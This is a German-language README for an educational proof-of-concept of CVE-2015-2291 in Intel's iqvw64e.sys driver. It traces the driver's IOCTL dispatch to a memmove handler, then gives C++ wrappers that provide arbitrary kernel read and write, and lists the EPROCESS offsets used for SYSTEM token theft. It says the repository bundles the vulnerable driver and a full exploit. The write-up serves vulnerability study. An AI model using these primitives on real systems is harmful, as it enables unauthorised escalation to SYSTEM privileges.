
CVE-2015-2291 Local Privilege Escalation PoC
CVE-2015-2291 Lokale Privilegienausweitung PoC

Dieses Projekt ist ein zu Bildungszwecken dienender Proof-of-Concept für eine Lokale Privilegienausweitung (LPE)-Sicherheitslücke im Treiber iqvw64e.sys (SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) – den Intel Ethernet-Diagnosetreiber, der mit CVE-2015-2291 verbunden ist.
Nachdem ich den Treiber in Kernel-Mode-Ladeprogrammen wie KDMapper ausgenutzt sah, wollte ich ihn selbst reverse-engineeren, um zu verstehen, wie der IOCTL-Dispatch funktioniert, welche Arten von Funktionen er dem Benutzermodus preisgibt und wie ein Angreifer diese entdecken oder nutzen könnte. Diese Dokumentation führt durch den Prozess von der statischen Analyse bis zum Aufbau von Speicherprimitiven mittels DeviceIoControl und schließlich zur Erstellung eines Exploits, der diese Primitive missbraucht, um das Zugriffstoken des aktuellen Prozesses durch das SYSTEM-Prozesstoken zu ersetzen und den Prozess effektiv auf SYSTEM-Privilegien zu erhöhen.
Unter Windows ist jedem Prozess ein Zugriffstoken zugeordnet, das seine Identität und Berechtigungen definiert. Durch beliebiges Kernel-Lesen/Schreiben wird es möglich, den Token-Zeiger, der in der Kernel-Prozessstruktur gespeichert ist, zu modifizieren. Das Ersetzen dieses Zeigers durch den des SYSTEM-Prozesses bewirkt, dass das Betriebssystem den aktuellen Prozess dem Sicherheitskontext von SYSTEM zuordnet, wodurch ihm effektiv volle Berechtigungen gewährt werden. Erfahren Sie mehr hier.
Der Treiber registriert eine Dispatch-Routine für IRP_MJ_DEVICE_CONTROL, die DeviceIoControl-Aufrufe aus dem Benutzermodus verarbeitet. Wie unten gezeigt, führt es zu sub_11150, welches den Codefluss basierend auf dem eingehenden IO-Steuerungscode lenkt. In diesem Fall interessiert uns 0x80862007, das uns zu loc_111C2 führt.

Dem Kontrollfluss durch loc_111C2 folgend erreichen wir sub_113C0. Es empfängt einen Eingabepuffer (a1) und verwendet das erste QWORD dieses Puffers als Index in eine Sprungtabelle interner Handler-Funktionen. Hier führt der Treiber Folgendes aus:
a1 → erstes QWORD (0x0) → jump_table_indexa1 als ArgumenteWir wissen nun, dass der Eingabepuffer sowohl das Dispatch-Ziel als auch seine Parameter steuert. Wir werden die Eingabepuffer-Struktur im weiteren Verlauf der Analyse weiter definieren.
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — used as the dispatch selector
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;


memmove-PrimitiveWährend der Analyse der Sprungtabellen-Fälle suchte ich nach Handlern, die memmove oder memcpy ähneln. Bei Fall 0x33 ruft der Treiber sub_11EA0 auf und übergibt drei Felder aus dem Eingabepuffer. Dies ähnelt stark einer Speicherkopie:

Beim Öffnen von sub_11EA0 finden wir die erwartete Signatur:
void* memmove( void* dest, const void* src, std::size_t count );
Die Disassemblierung bestätigt:
a1 = destinationa2 = sourcea3 = length
Mit diesen Informationen können wir nun das Layout des Eingabepuffers, das für den memmove-Aufruf erwartet wird, vollständig rekonstruieren:
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00
uint64_t padding; // 0x08 (8)
uint64_t source; // 0x10 (16)
uint64_t destination; // 0x18 (24)
uint64_t length; // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;
Wir verstehen nun, dass durch Senden eines gültigen MEMMOVE_INPUT_BUFFER an den Treiber, mit:
jump_table_index = 0x33source, destination und length nach Bedarf gesetztWir können den Treiber anweisen, memmove auf beliebigen Adressen aufzurufen, was uns vollständige Kernel-Speicher-Lese-/Schreibfähigkeiten aus dem Benutzermodus verleiht.
Hier sind die Benutzermodus-Wrapper, die um diese Primitive herum erstellt wurden:
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
if (!destination || !source || !size)
return 0;
MEMMOVE_INPUT_BUFFER input_buffer = { 0 };
input_buffer.jump_table_index = 0x33; //jumptable index for memmove (51)
input_buffer.source = source;
input_buffer.destination = destination;
input_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}
uintptr_t read64(uintptr_t address)
{
uintptr_t value = 0;
if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
return value;
return 0;
}
bool write64(uintptr_t address, uintptr_t value)
{
return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}
Diese Helfer erlauben beliebige 64-Bit-Lese- und Schreibzugriffe auf den virtuellen Kernel-Speicher. Von diesem Punkt an werden verschiedene Angriffe möglich (wie EPROCESS-Token-Diebstahl), aber diese Dokumentation konzentriert sich auf Rekonstruktion und Analyse. Sie werden feststellen, dass main.cpp einen PoC-EPROCESS-Token-Diebstahl-Exploit enthält, mit freundlicher Genehmigung von Eap2468's CVE-2021-2155
UniqueProcessId: 0x440ActiveProcessLinks: 0x448Token: 0x4b8iqvw64e.sys (Die Treiber-Binärdatei wurde zur Bequemlichkeit in das Repository aufgenommen)37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9